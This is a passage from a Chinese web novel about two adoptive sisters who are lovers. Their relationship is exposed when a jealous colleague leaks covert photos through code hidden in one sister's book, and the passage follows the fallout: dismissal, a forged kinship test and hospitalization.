苏青荷轻轻抗拒,推开她的肩膀,低声说:“我有些累,姐。” 苏青沅伸手抓她的手,贴在唇边道:“我明天的飞机,要好几天才能回来,你不想我吗?” 苏青荷知道她明天要出差,周五才能回来。 从她手心里抽出来,伸手抱住她的腰,贴进她怀里,声音翁哝道:“我今天不想做。” 苏青沅感受到她这段时间以来的低落,也知道她真的累了。苏青沅也并不是贪恋她,只是一来她们要分开几天,二来事后她能容易入睡一些。 替她拉好滑落在肩后的丝质睡衣,苏青沅抱住她,唇瓣贴在她干净的额间,抚慰说:“好,那我抱着你睡。” “明天早上,我送你。”苏青荷对她说。 “好。” 早上八点多的航班,六点钟,苏青荷开车送她去机场。 清晨的公路上,还没有多少人,到了机场,苏青荷送她到值机大厅。 临别前,苏青沅再次嘱托她:“不要乱想,知道吗?” 苏青荷答应她:“嗯,我知道,我等你回来。” 苏青沅:“一个人照顾好自己,不要不吃饭,晚上睡觉空调不要开得太低,知不知道?” 苏青荷笑:“又不是小孩子,吃饭睡觉还要你嘱咐。” “你答应我。” 苏青荷仰头,说:“我答应你。” 苏青沅低头吻她,苏青荷闭上眼睛,承接这个温柔到极点的吻。 “好了,回去吧,路上早高峰开车要当心,不要分神。” 苏青荷:“我看着你进去我再走。” 苏青沅抿唇,道:“好。” 苏青沅拖着箱子往安检处走,身后的目光一直在追随着她,即便不回头,她也能感知得到。 不知道为什么,苏青沅忽然想起昨晚荷荷埋在她怀里的那双眼睛,那样恍惚,那样孤寂,仿佛像是一瞬间要飘然离她而去那样。 她有这样的感应,这一刻,她忽然觉得害怕。 停住脚,扔下行李箱,苏青沅转身又朝着人奔过去,将她紧紧搂入怀里。 “荷荷,不管发生什么,你不能抛弃我,知道吗?我告诉过你,我不能失去你,无论如何,我都不能失去。” 苏青荷眼眶湿润,她攀住她的肩,笑道:“你快进去吧。” “你答应我。” 苏青荷:“我答应你。” 大概是真的有感应这回事,如果苏青沅知道,那一天会发生翻天覆地的变化,她无论如何都不会离开荷荷身边半步。 那自缚的茧早在不知不觉已然有了裂缝,是她们彼此不肯真的面对过。 从身边所有亲朋好友,再到公司和文学社里,几乎所有的人都早已察觉到了,只是她们从来没有面对过。 说得再宏大滔天又如何,只有真正面临的时候,才会知道,那锐利的尖刀,刺进血肉里,有多么痛。 苏青荷开车到文学社上班,刚到门口,就被许多人拦住。 有人认出她是水荷,摄像机纷纷架过来,开口逼问道:“请问《淡味》这本书是你的自传吗,书里彩蛋的照片是真的吗,请问你真的和自己的亲姐姐乱.伦了吗?” 苏青荷怔住,犹如霹雳,打得她忘记了反应。 她往后退了一步,摄像机就逼过来一步,踉跄着崴脚,她跌在墙旁,忙转身跑进了大楼里。 颤抖着按下电梯,最后停在六楼。 苏青荷从电梯出去,看见整间办公室里忙得翻天覆地,看见她进来,所有人的目光刺过来,包括她最熟悉的文蓝的目光。 发生了什么? 赵尔珊也转头看向她,眼睛里有冷淡和鄙弃,冷声说:“青荷,我这样相信你,力排众议为你申请出版,为什么你要毁了我们?” “什么?”苏青荷忍着酸涩的眼眶问她。 赵尔珊将旁边桌子上的信封拆开来,里面有一沓照片。她甩出来,从桌子的一头,直接滑到了另一头,散落在地毯上。 “你自己看,一大早寄来的。” 苏青荷低下头,看见那些散落的照片。几乎全都是她和姐姐,有亲昵,有拥抱,有亲吻…… 她心砰砰跳着,抬起头看向眼前的人。 赵尔珊恨铁不成钢地说:“青荷,我不论你的私生活多么混乱,道德之下的审判,说到底不过也只是审判人心而已。可你为什么要夹带私货,把这些嵌进你的文字里,你想把我们整个文学社都拉着一起陪葬吗?” 苏青荷眼眶聚起泪雾,说:“我没有。” 赵尔珊:“是照片假的,还是你们的关系是假的?” 苏青荷沉默住。 “你要猎奇,你要刺激,请待在你的世界里,不要祸害别人。” 文蓝站在远处,望着那被目光笼罩之下的身影。 照片是她散播出去的,藏在了书里一段代码之中。整本书的文字由她审核,代码也同样是她串进去的,但是现在,苏青荷百口莫辩。 赵尔珊冷声告诉她:“我现在通知你,你被解雇了。《淡味》早在今天凌晨就被通知全部下架,文学社停社整改三个月。一应赔偿与责任,我会找律师来界定。作为上司和朋友,我奉告你,不要玩火自焚。苏青荷,你好自为之。” 第38章 书页116张里,有一串不起眼的代码。 苏青荷通过线索找过去,代码验证已经失效了。只在别人的截图里,看见了网上发的那些照片。 她颤抖着手点开,照片是偷拍的,大多数都是几个月前,在文学社附近。 苏青荷关掉手机,开车离开文学社,工作日的上午,连街道都是空荡荡的。 今天降温,一早就觉得冷。风呼呼吹着,她停在红灯前,望着那窗外被风吹起的落叶,绿灯跳过来,她迟迟没有启动车子,直到后面传来喇叭催促声,她才反应过来。 脚踝上隐隐作痛,她把车开到一家药店门口,艰难地下车,走进去买崴脚的喷雾。 她向那导购员描述说自己崴了脚,脚有些肿,一碰触就疼。 说完,她才发觉自己的声音是颤抖的。 那导购员看了她一眼,随后拿出一盒喷雾来给她。 结完账,苏青荷抬头,见眼前的人直盯着她瞧,她怔了下,下意识恐惧爬上来,本能就要逃离。 “如果很疼的话,还是要去医院检查一下。”那人道。 苏青荷微愣,眼泪有些失禁地掉下来,她抿起笑容掩饰,拿起包装袋,略慌张地笑说:“谢谢。” 天空愈来愈沉,不像上午,像靠近夜晚,天气预报说最近会有台风。 苏青荷忍着脚痛,把车开回了别墅。 房间里漆黑一片,和早上走的时候没什么两样,飘窗的窗户忘记关,风大得把那轻飘飘的窗帘直刮地飘起来。 苏青荷走过去,把那扇窗户关上。 房间里,沉寂的压抑,她站在那里没有动,终于一点点失去所有的力气与支撑,顺着窗框滑下来,双手掩面浑身颤抖地哭泣。 苏青沅是在第二天夜里回来的,她赶了最近的一班航班,丢下所有的工作,在深夜凌晨一点到家。 整栋楼漆黑无光,苏青沅看见她的车停在外面,她上楼推开房间的门。 借着一点点的光亮,看见床上背朝着她的一道纤细的背影。 外面在刮风下雨,衬得这道背影那样孤寂与无措。 是她不好,将荷荷拉进这场深渊里,被迫承受着这许多她本该永远都不会经历的苦痛。 苏青荷躺在床上,忽然听见身后开门的声音,她坐起来,看见站在门口的人,问:“不是说周五才回来么,怎么现在就回来了。” 苏青沅走过去,走至床边伸手把人拥进怀里,紧紧抱住不肯松手,声音蒙上凄哀:“对不起荷荷,是姐姐不好。” 苏青荷喉间微微酸涩,她伸手回抱住她,努力抿起一个笑容,道:“我没有事。” “你不要怕。”苏青沅转过头来看她,双手捧住她的脸颊,指腹抹去她眼前的湿润,告诉她,“我们不需要向任何人解释什么,一切都有我在,不管发生什么,都有我陪着你。” 苏青荷在漆黑里望着她恳切的双眸,她知道,害怕的不止她,其实也有姐姐。可是,这一刻,她还是斩钉截铁地替她承担着一切。 苏青荷说不出话来,只觉得张口就会变成呜咽与啜泣。她忍着眼泪,可还是没有忍住,只低头嗯了一声,答应她。 “荷荷,不要哭。”苏青沅心痛地看着她,不住地替她擦拭眼泪,“我们没有错,我们相爱没有妨碍这世上的任何一个人,你相信这一点,只要你自己抛开,什么都无法伤害你,你知道吗?” 苏青荷无法思考,也无法开口。 只低着头点头应答她的话。 苏青沅低头吻她,苏青荷吓得下意识避开,连她自己都没有察觉到的本能反应,一时间,两人全都愣住了。 苏青沅低下头,深深吸了口气,一颗心像被划开了无数道口子。 她站起身,说:“我去洗澡。” 衣服半湿,苏青沅去浴室洗澡。 出来后,回到卧室床上,从身后拥抱床上背朝着她的人。 几乎一夜无眠,她们相拥着,谁也没有开口再说一句话。 苏青荷快要天亮时,才支撑不住身体的困乏,昏昏睡去。 苏青沅知道她精疲力尽,没有打扰她,就起床赶到了公司。 繁忙的工作铺天盖地而来,出差的案子没有谈下来,苏青沅又与对方重新谈判商定合作。 大大小小的会议,从上午开始,一直持续到了下午近四点钟。 苏青沅早已耗尽所有力气,她坐在空荡的办公室里,给家里打了电话。 迟迟无人接,她挂断重新再次拨出去。 最后终于接通,“喂。” “吃饭没有?” 苏青荷:“还没有。” “我叫人给你送饭。” “我不饿,姐,你不用管我了,我会照顾自己的。” “你会照顾自己,就是把自己一个人关在房间里不吃饭,是么?”苏青沅微微带着气,问她。 电话里沉默,苏青沅才意识到自己语气不好,沉下心来,她低声道:“我让徐琦给你送。” “好。” 挂断电话,苏青沅坐在那里,停了好一会儿,才把徐琦叫进来。 徐琦也正在忙,听见她的传唤,忙从策划部门赶上来,问她有什么指示吩咐。 “去给荷荷送份饭过去,她一个人在家。” 徐琦看了眼腕上手表时间,才四点钟,她道:“这会儿策划部那边要等方案,差不多要一个多小时,要么在等一会晚上我——” “现在就去。” 徐琦察觉出来她语气有些冷,今天一整天开会,她都比平时更严厉。 南城出差的案子也谈得很不顺利,本来就需要这边态度和软一些,可她昨天晚上当众把对方的负责人晾在一旁独自跑回来,所有的合作几乎就此中断。 她实在是心力*交瘁,工作上不顺利,苏青荷又出了事。 公司上下其实早就全都知道了她们的关系,可不知为什么,她今天格外敏感。 她口口声声不在意,可是有一种东西叫做自欺欺人。她忽然把全世界的人都当成敌人,任何出现在她眼里的人,都成了唾弃她与苏青荷的仇人。 徐琦答应下来,独自外出订了一份饭,又亲自开车送到别墅。 苏青荷开门,徐琦见她脸色有些不好,黑眼圈很严重,不由担心地问了一句:“还好么?” 苏青荷有些怔愣,抬眼看了她一下,努力扯了个笑容,点了下头。 徐琦察觉出来她眼里的彷徨与失措,知道是她误会了,自己本没有什么意图,只是单纯出于关心,但她却有些草木皆兵了。 徐琦没有再问,只把饭留在了餐桌上,说公司还有些事情要回去,苏青荷送她到门口。 “姐姐她,在公司吗?”苏青荷忽然开口问她。 徐琦停下来,嗯了一声。她踌躇了一会,还是告诉她,道:“我觉得她不太好,公司事情很多,她一直在忙,从早上七点到公司到现在,她一点东西没有吃,出差的工作谈崩了,她和所有人发了一通脾气,整个人状态很不好。” 苏青荷攥住手心,心口像被人用刀子划开,低下头沉默。 徐琦看着她,“荷荷,她只在乎你。她一切的情绪都是因为你,如果你不要她,她会就此沉下去,她其实没有你想象的那样坚强。别人的一个眼光,一句话,也可以轻易杀死她。” 徐琦转身要离开,苏青荷叫住了她,说:“我和你一起去公司。” 徐琦看向她,心里有不忍,说:“好。” 苏青荷跟着徐琦,一起到了公司。公司楼下的人看见她,认出来她是苏青沅的妹妹,目光纷纷望过来。 苏青荷看向那一道道目光,在所有人的注视之下,和徐琦一起走进电梯里。 她恍惚地往前走,想象着姐姐走进来的时候,也是这样的目光…… “我不和你一起上去了,策划部那边还有紧急的工作要处理,你先上去吧,她应该在办公室。” 苏青荷恍惚着的思绪被拉回,她哦了一声点头答应。 电梯停在十二楼,徐琦先出去,而后电梯门又关上,停在十五楼,苏青沅的办公室层。 一出电梯,几个秘书目光纷纷投过来,很快又不动声色调转开了。 她不知道自己是杯弓蛇影,还是从来如此,她像是浑身赤.裸地被扔进人群中,没有任何隐私可言。 没有人来和她打招呼,只有何修美朝她抿了下唇。 可她又觉得那笑容像有深意,像两天前在药店那个导购员的眼神。 苏青荷知道,那是她自己的问题。她没有办法真正做到不在乎,一切安慰的话都像是自欺欺人,她知道自己走上了一条不归路,她要一生都顶着这样的目光生活。 慌乱间,她走到办公室门口,推开门进去。 抬眼忽然望见沙发上的人影,苏青荷整个人愣住。 靠坐在沙发里的人听见门口声音,转过头去看她,也意外了一下,她站起身,笑着问:“你是苏青荷?” 苏青荷停住脚没有动,望着眼前这个女人,她记得自己见过她。 也是在这里,去年的时候。 陆紫忻脸上带笑,毫不避讳地开口说:“我听说了你和青沅的事情,我说这么多年了,她为什么从来不肯正眼看我一下,原来身旁早就有一个人了,只是我没有想过,居然会是她的妹妹。你是她亲妹妹吗?” 苏青荷看着她,她从来不愿意对任何人解释一句她和姐姐之间的关系,也从没有告诉过别人,她们没有血缘关系这件事,可这一刻,她生出反驳的心来,淡声对她开口:“不是。” 陆紫忻挑了下眉,即是意外又仿佛是意料之中,说:“听说你们从小就生活在一起,我很好奇,你一直都爱她吗?姐妹之间的感情,也会同其他恋人一样吗?” 苏青荷抿住唇,没有回答她的话。 陆紫忻笑着离开,走到她面前,忽然又停下来问她:“苏青荷,你爱你姐姐吗?” 苏青荷垂眸站在那里,她仿若听不见这句话,耳边轰隆是她如擂鼓的心跳声。 可没有等她开口,眼前的人忽然笑着看向她的身后另一边,“你听见了,她不敢承认呢?” 苏青荷愣住,急忙转头看向身后,更衣室门口的人站在那里,眸光凝滞落在她的身上。 “我不是……我,我没有……”苏青荷慌乱地朝她走了半步。 陆紫忻也看向苏青沅,又看了一眼旁边的人,语调轻松问她:“晚上的饭局是继续呢,还是留下来陪你的妹妹?” 苏青荷声音颤抖地喊她:“姐……” 苏青沅轻轻道:“你先回家吧,我还有应酬。”说着转身就要离开。 “你还回来吗?”苏青荷喊住她。 苏青沅停住脚,心口有些钝痛,淡声嗯了一下,轻声道:“要晚一点。” 第39章 苏青荷望着她的背影,努力控制住情绪,不让自己哭,她说:“那我等你回来。” 苏青沅没有说话,感受到身后那道目光,她微攥住手心,停了片刻后,推门出去。 一旁陆紫忻看了苏青荷一眼,随后也跟了苏青沅一起离开。 回到家,苏青荷一直在客厅沙发上等她,等到近乎凌晨,她歪在沙发上睡着了。 门口传来声音,她一下惊醒过来。 外面依旧在下雨,天气预报上说,这场雨要持续半个月。 苏青沅回来,站在玄关处,抬头就看见坐在沙发上的人。 “怎么不到床上去睡?” 苏青荷撑着打架酸涩的眼皮,坐起来,望着她说:“想等你一起。” 苏青沅弯腰换鞋的手指微愣,低头问她:“今天吃东西了吗?” 苏青荷:“吃了。” 苏青沅走到客厅,茶几上有半杯水,她端过来仰头喝掉。 苏青荷坐在沙发上,仰头看着她,闻见她身上带有酒味。 “你喝酒了。” 苏青沅放下杯子,淡声说:“喝了一点。” 苏青荷站起来,看见她衬衫后背上全都湿了,领口的扣子也开了两颗,神色也染上颓然与疲倦,她主动站起来,说:“我去给你拿解酒药。” 说着转身就要去拿药箱,苏青沅拉住她的手腕,说:“不用了,我不想吃。” 苏青荷停住脚,转过身来看她,有些踌躇地轻声问:“晚上……是公司应酬吗?” 苏青沅默默站着,随后弯腰捡起她刚刚不小心掉落在地上的毛毯,明白过来她心里所想,她开口道:“她是我大学同学,现在是丰银的负责人,我们公司跟她们有合作,南城的项目能重谈,需要她牵线。” 苏青荷低下头,抿住唇说:“我知道了。” 苏青沅看见她垂下脖颈,眼睛里有些许落寞。她知道,此刻眼前的人已经支离破碎了,太多的事情压过来,她也不过是在强撑。 心里终究不忍,苏青沅伸手抱住她,手掌抚住她的脑袋按在怀里,解释说:“我与她没有什么。” 苏青荷下颌扣在她的肩上,脸庞仰起,眼泪忍不住往回流,说:“你怪我吗?” 苏青沅知道她是问下午的事情,她也知道,荷荷爱她,可是却不敢在人前承认。 她有失落与伤心,可还是失去了力气去折磨她。 “我不怪你。一切是我造成的,怪不到你的头上。” 苏青荷哭着埋进她的怀里,眼泪模糊了她的视线,她颤声道歉:“对不起姐,我没有不承认,我只是,只是……” “好了,我知道,我都知道。”苏青沅打断了她,她知道她说不出原因来,也同样知道,自己没有勇气去接受她的退缩和不勇敢。 爱情是光明正大的,可苏青沅知道,她的荷荷,永远做不到。 她只有在退缩和痛苦中不断地挣扎来回,才会求得心安,而自己,也只能在这缝隙里,卑微地祈求这一点点的爱。 苏青沅抱她上楼。深夜,她们相互拥抱,在这突然寒凉的雨夜里,彼此索求着这一点点的温暖。 十五号,苏青荷处理完文学社里所有的工作和后续。 历时近十天,整个世界像一场战争,她打得精疲力尽。社交平台上,她没有勇气点进去,查看任何一条留言。《淡味》的创作,彻底中断。 她望着那书架上一排一排的书,这是她近乎六年来的全部心血。 可现在,全部没有了。 楼下有门铃声,苏青荷下去开门。 有人送来一份文件,苏青荷从信箱里拿出来,没有地址,也没有说明。 苏青荷拆开来,翻开那两张纸张,整个人怔住,只在一瞬间像掉进深海里,忘记了反应。 纸张从手里飘落,飞到了台阶下的积水坑里,她愣了下,急忙又去捡。 手指在颤抖,浑身也在颤抖,仿佛天空也是颠倒过来的。 没有犹豫,苏青荷把车开到了苏青沅公司楼下。 上午十点,整个公司上下都在开会。 她从电梯上去,秘书处只有何修美一个人。看见她神色匆匆赶过来,以为出了什么事,忙问:“苏小姐,您有什么事情吗?” 苏青荷早已失控,连精神也有些恍惚,盯着她好一会儿,才颤抖着声音说:“我找她。” 何修美知道她说的是苏青沅,又见她脸色不好,不由地温声告诉她:“苏总在开会,大约还有一会儿才能结束,这样,您到她办公室里等一会儿。” 苏青荷怔怔说好,“我等她,等她回来。” 办公室里空荡荡的,只有苏青荷一个人,她从十点一直等到了十二点多,苏青沅才开完会。 秘书告诉她,人在办公室里等她。 苏青沅轻怔,转身推门进去,就看见坐在那里背朝着的身影,她轻声喊她:“荷荷……” 苏青荷神思恍惚着,听见身后的声音浑身一颤,本能地觉得害怕。 苏青沅走过去,察觉出来她不对劲,她走到沙发旁,在她面前蹲下来看着她,轻轻问:“发生什么了?” 苏青荷控制不住流下眼泪来,只看着她忘记了反应。 苏青沅拧眉,伸手替她擦拭眼泪,问:“荷荷不怕,告诉我,究竟怎么了?” 苏青荷转过身,把包里的那两张几乎湿透了纸张拿出来,摆到她的面前。 苏青沅低头接过,纸张被雨水打湿,几乎已经快要损坏了,可还是能够辩清上面的字迹。 这是一份血缘亲属鉴定书。 “这是谁给你的?”苏青沅蹲在她面前,仰头看着她布满哀伤与泪水的一双眼睛问。 苏青荷缩瑟了下,浑身像掉进深渊里,她一点点从她掌心里抽离,眼神冷得犹如冰,喉咙口像是被刀尖一刀一刀凌迟着,疼得她几乎开不了口。 “是真的吗?” 苏青沅被她的眼神伤到,她有一种近乎不惜失去一切的癫狂,苏青沅逼上她的目光,伸手去抓她不住反抗后退的指尖,紧紧攥住,道:“如果是真的,你还爱我吗?” 苏青荷蓦地愣住,难以置信地看着她,奋力从她掌心里抽出自己的手。 苏青沅低头,望见她躲避的动作,心底像缺失了一个空洞,变得惶惑无依。 她抬头重新看向她,这段时间她一直都在逃避,她缩在自己那个小小的壳子里,谁也不肯见。 苏青沅知道,她们之间出现了一些问题。其实还是那些,从来没有变过。 她不想再这样继续下去了,她要荷荷,也想要她光明正大没有任何犹豫的爱。 “真的与假的,都不重要,我从来没有后悔过,就算是真的,我也会迈出那一步。”苏青沅盯着她,郑重地开口说,“真的又如何,它没有伤害到任何人。” 苏青荷双眸空洞,一眨不眨地看着她,她伸手推开她,站起来就要往外走,走了两步,忽然身体承载不住痛苦弯下去,心口犹如尖刀刺进去,喉咙间一阵猩腻,再也忍不住,她猛地朝前,哇地一下呛咳出一口血来。 苏青沅倏地吓住,急忙扶住她,慌乱地告诉她:“对不起荷荷,是我骗你的,那张纸上的是假的,我们没有血缘关系,一点点都没有,荷荷,你不要吓我……” 苏青沅拦腰将人抱起,冲出去大喊:“开车,去医院!” 徐琦正好赶来,见状忙跟着一起往停车场,开车送她们到医院。 到了急诊,医生诊断说是,应激性的胃溃疡才导致的出血。 苏青沅知道她近来快一个月一直情绪低落不好,常常饭也不吃,也闹过好几次的胃痛,可没有想过,她会应激到吐出血来。 她知道,是她把她吓住了。 病房里,挂了几个小时的吊瓶,苏青沅一直守在床前,看着床上的人闭目沉睡着。 这一个月以来,她的精神几近崩溃,睡眠也不好,再加上没有好好照料自己的身体,整个人瘦了一大圈,像个破败的娃娃。 苏青沅忽然觉得恍惚,一切是她造成的吗?从荷荷十八岁那一天开始,仿佛一切的噩梦都由此开始,直到今天,她承认自己带给荷荷的,似乎只有无穷的伤害。 爱……究竟是什么? 又真的值得吗? 如果没有迈出那一步,是不是今天所有的事情就都不会发生? 荷荷不会挣扎在爱与恨里,不会忍受别人异样的眼光,她不敢交朋友,不愿意把她们的关系,公布给这世上的任何一个人,她知道她害怕,所以隐藏是她唯一的保护色。 在这道保护色下,她们尚且还能够相爱。可是现在呢,她被这世俗的目光,刺戳得体无完肤。 爱好,梦想,事业……她几乎失去了一切,连同快乐和幸福的权利,也被全部剥夺。 如果当初她去了S市念大学,如果她与乔楠在一起……苏青沅没有办法控制自己不去想,那条她们没有走过的路。 此时此刻,她只觉得一颗心疼到无法呼吸,几乎快要撕碎她所有的理智。 可是,她能够放手吗? 不,她做不到。 第40章 一直等到深夜,苏青荷醒过来,只觉得浑身都在疼。头顶光芒照过来,照得头昏沉沉,她像睡了好久,没有一点意识。 耳边是熟悉的声音,像回荡在远处,“荷荷,荷荷……” 苏青荷睁开眼睛,望着她,本能地呢喃喊了她一声:“姐……” 苏青沅见她醒来,欣喜扯起一个笑容,问道:“有没有哪里不舒服,头疼不疼?” 苏青荷默默看着她,思绪一点点恢复,想起她在家门口收到的陌生信件。 里面是一份血缘鉴定书。 苏青沅察觉到她的目光,停了片刻,主动地告诉她:“对不起荷荷,白天是我骗你,我们不是亲姐妹,也没有任何血缘关系,这一点,早在六年前我就告诉过你了,你看过那份鉴定书不是么,爸爸的血缘鉴定,还有素姨的,你都看过,是不是?我没有骗你。” 苏青荷轻垂下双眸,没有说话。 “那两张纸,是谁给你的?”苏青沅问她。 苏青荷垂眸,半晌开口:“我不知道。” 苏青沅伸手过去捧她的脸,望着她的眼睛,温柔地问:“想不想吃什么,我去买。” 苏青荷轻轻转过头,躲开她的碰触,侧身背过去,手背上青筋扯得有些酸胀疼痛,她淡声说:“我不想吃。” 苏青沅感受到她主动避开的冷漠,不由地失落,她坐在床边,望着她的背影,说:“荷荷,对不起,是我一时冲动才会那样说,我想证明,证明你有多爱我,我知道,是我吓坏了你,对不起荷荷。” 苏青荷闭上眼睛,不肯回答她的话。 寂静的病房里,只剩下无声的压抑与身体的疲惫。 她累得仿佛连思考的力气也没有了。 昏昏沉沉,苏青荷不记得自己睡了多久,只觉得醒来又睡,睡着了又醒,断断续续,身体一阵冷一阵热,后来耳边才传来焦急的声音不住地喊她:“荷荷,荷荷……” 苏青荷努力睁开眼睛看她,头疼得要裂开,她哭着贴近她怀里,带着哭腔颤声道:“姐,我头好疼。” 苏青沅半夜醒来,才发现身旁的人身上滚烫,浑身潮湿都是汗意,整个人烧的有些糊涂。 急忙喊了医生护士,打了退烧点滴。 她此刻太虚弱,东西一点都吃不进去,完全靠点滴和营养液撑着。 苏青沅怕她再出事,一步不敢离开,一直守在她身旁。 整整近两天,人才逐渐清醒过来。 大病了一场,几乎伤了元气。 苏青沅守在她身边,细心替她调养了好几日,她胃不好,能吃的几乎没有几样,就这样又过了三天,才将将恢复了一些。 只不过,情绪还是一样不太好。 二十五号,连日来的阴雨天终于停歇,到了中午,A市天气忽然放晴。 苏青荷靠坐在床边,看着窗外天空明媚,心境也不由变得平和。 苏青沅从外面进来,把洗好的衣服一一挂进壁橱里。 苏青荷望着她的背影,目光久久没有移开。苏青沅转过身来,抬眼撞上她的视线,愣了下,与她四目相对,轻牵唇笑道:“怎么了?” 苏青荷摇摇头,没有说话。 苏青沅走过去,问她:“饿了么,我去把米糊盛出来。” “我不想吃米糊了。” 苏青沅笑,知道她连着吃了好几天,吃厌了,可是医生还是不让她吃一点刺激性的食物,又劝她说:“再等两天好不好?” 苏青荷看着她,说:“我想吃肉。” 苏青沅望着她一双漂亮带着光芒的眼睛,一时间又像是恢复了生机,她不由勾起唇,道:“明天,明天我问问医生。” 苏青荷望着她,轻轻嗯了一声。 苏青沅撑手在她腰侧,将她半圈在怀里,望着她的唇瓣,轻轻贴过去。 眼前的人没有躲,苏青沅碰了一下她的唇珠,轻吻了一下,“等我。” 苏青荷心砰砰跳着,眼梢轻颤,“嗯。” 她们有太久没有亲近过了,苏青沅本能地感受到荷荷身上的疏离,就连这样一个轻轻的吻,也变成了小心翼翼。 午后,苏青沅接了徐琦的电话,公司有工作需要她亲自回去处理。 苏青荷对她说:“你去吧,我没事的,阳光这么好,我看会儿书。” 苏青沅见她今天情绪还算好,也就没有说什么,公司的事情的确有些紧急,她说:“那我一会就回来,你如果哪里不舒服,床头的铃声自己要按,让护士过来,知道吗?” 苏青荷抿唇,说:“我没事的,你去吧。” 苏青沅:“好。” 拿了外套和车钥匙,苏青沅离开了医院,走到一楼门口,忽然撞上一张熟悉的面孔,她停住脚。 文蓝也看见了她,愣站住,主动开口说:“我听说青荷住院了,来看看她,她……还好吗?” 苏青沅看了她一眼,道:“还好,她这会在病房,你上去吧。” 文蓝笑着说好,又问她在几楼几号房。苏青沅一一告诉了她,随后转身离开。 楼上病房里,苏青荷靠在床边翻看手里的书,是列夫托尔斯泰最经典的名作《安娜卡列尼娜》。 【“永远不要跟我说起这件事情!” “但是,安娜……” “永远不要。就由着我吧。自己处境的所有的卑污、所有的恐怖之处我是知道的,但这不像你想的那样容易解决。所以就由着我吧,听我说……”】 “青荷。” 门口传来一道敲门声,拉回了苏青荷所有沉浸在安娜与弗隆斯基爱恨挣扎里的情绪。 她抬头看过去,看见门口的人,抿唇没有说话。 文蓝抱着一束花走到床前,将花放在床头,转过身来看她,道:“瘦了好多,怎么样,最近还好吗?” 苏青荷盯着她,轻轻启唇:“谢谢。” 文蓝看穿她眼里的疏离,神情恍惚了下,又很快躲开,笑说:“对了,我刚刚在楼下碰到你姐姐了,她有些匆匆忙忙的,是要去哪儿么?” 苏青荷没有回答她,目光依旧没有任何闪躲地落在她身上,她淡淡开口,问:“文蓝,是你做的,是么?” 文蓝一愣,站在那里僵住。 “书里的手脚是你加进去的,还有那份血缘鉴定书也是你寄来的,对不对?” 那份鉴定书寄出的地址是文学社,书里那些照片也几乎全是在文学社附近拍的,有一张,还是她们三人一同吃饭的时候。 那些照片,那些角度,除了文蓝,没有别人。 或许她也没有想隐瞒,一切都是漏洞百出的。 文蓝依旧沉默,她轻轻低下头,良久之后才哑着声音道:“对不起,青荷。” 苏青荷看着她,只觉得眼眶里被砸进砖头,她忍着疼痛问:“为什么?” 文蓝没有说话。 “只是因为你喜欢姐姐吗?” 文蓝一愣,没有想到苏青荷会知道,错愕地抬头看向她。 苏青荷看着她,笑容里有无奈与凄凉,道:“或许喜欢一个人的眼神,其实是真的藏不住的。我一直都知道你喜欢姐姐,只是我没有想过,你会做出这些。” “你恨我,是不是?”文蓝眼眶酸涩,没有勇气看眼前的人,只剩下喉间的酸楚与疼痛。 “我不恨你。”苏青荷把书签夹进书页里合上,“只是觉得可悲和难过。你让我明白,爱情的初衷里,也会有这样卑劣的一面。我一点都不恨你,甚至可怜你,唾弃你,你不配得到我的恨,也同样不配得到姐姐的爱,就算这个世上没有我,她也永远都不会爱上你这样的人。” 文蓝低头失笑,眼泪滴落下来,模糊了视线,她深深吸了一口气,嘴角抿起讽刺的笑容,道:“我的爱情卑劣,青荷,你们的也未必多清白,你敢承认么,没有血缘关系又如何,你们这样,你以为有什么分别么?你们不会有好结局的,我等着看。”说完,她掉头离开。 苏青荷坐在那里,久久没有动。 她重新拿起床边的书,书签忽然从里面掉出来,她忘记了自己看到哪里,只是脑子里一直回荡着安娜的那句话,她翻着页码,一页一页翻,可一直都没有找到。 像最后,安娜也没有找到她的答案。 40-50 第41章 七月,天气渐热。 苏青荷出院后,一直在家里休养。失去工作,文稿也断了更新,她不肯外出,只整日把自己关在书房里看书。 苏青沅工作忙,白天也几乎没有时间陪伴她。 偶然想起来,饭点电话过去,苏青沅也感知到,她还是郁郁寡欢。她最近在学做饭,一些家常的菜式也渐渐上手,也算是填补了许多的空闲。 可苏青沅还是觉得不够,她想要荷荷渐渐恢复正常的生活,她不能不接触人群,不接触社会,把自己完全隔离在世界之外。 七月中旬,苏青沅腾出时间,决定带她外出旅游一段时间。 晚上,苏青沅在客厅加班,为了陪她,她把没做完的工作带回了家里。 厨房是开放式的,和客厅接连,苏青沅一抬头就看见了在厨房里忙碌了好几个小时的身影。 她在做面包。 最近新学会的,家里买了一大堆的器具,各种各样的工具和食材,整个厨房都被她填满了。 做坏了一大堆的半成品,也依旧乐此不疲。 苏青沅隔着客厅,笑着问她:“还没有做好么?” 苏青荷看着网上给的攻略,一遍一遍地对照着,说:“这一回应该没有问题,上一遍我忘记放盐了。” 苏青沅拧眉,“做面包也要放盐吗?” “当然了。”苏青荷没有抬头,只摆弄她面前的器具,“盐可以增加面筋的结构,影响面团的发酵,放的不对,口感就不一样了。” 苏青沅看着她低头一本正经认真解释的样子,不由地抿起唇笑,双眸里染上温柔,她轻轻问:“荷荷,我们好久没有出去旅游了,我带你出去走走吧。” 苏青荷愣了下,抬头看向她,停了片刻,又重新摆弄手里的面粉,说:“好啊,去哪里?” 苏青沅问她:“你想去哪里?” “我都行,随便哪里都可以。” “好,那我来安排。” 突然,烤箱传来叮一声,结束工作。 苏青荷转身,说:“烤好了,我切一块给你尝尝。” 厨房里乒乒乓乓,她终于切好几块,放在盘子里端到客厅来,邀请苏青沅尝一尝。 苏青沅捏了一块,还很烫手,放进嘴里。 苏青荷期待地望着她,问:“怎么样?” 苏青沅拧眉,笑说:“有点硬,也没有味道。” 苏青荷也笑了一下,说:“你懂什么,这是无添加的,外面卖的那些,都加了特别多的糖啊油的,当然口感好了。对了,我还做了一款蒜香黄油酱,那个抹上去,口感会好一点,你等我一下。” 说着,她又奔向厨房,拿来她刚做好的酱和叉子。 均匀地抹在那坚硬的面包片上,她伸手递过来,苏青沅低头瞥着,犹豫说:“我不喜欢吃大蒜。” 苏青荷知道她的毛病,笑着主动说:“这个是烤好的,就跟牛排里那个是一样的,没有大蒜味的。” “牛排里的大蒜我也不吃。”苏青沅把头一扭,说道,“大蒜怎么可能没有大蒜味。” 苏青荷笑着贴过去,一手捏着面包片,一手勾住她的脖颈,继续告诉她:“真的没有的,我不骗你,你尝尝看,有大蒜味你找我。” 苏青沅转头看向她,“找你怎么样?” 苏青荷把脸贴过去,“找我,把脸蛋给你咬一口。” 苏青沅无声勾起唇笑,说了一句“幼稚”,又伸手去接她手里的面包片,咬了一口。 苏青荷问她:“怎么样?” 苏青沅说:“就是有大蒜味。” 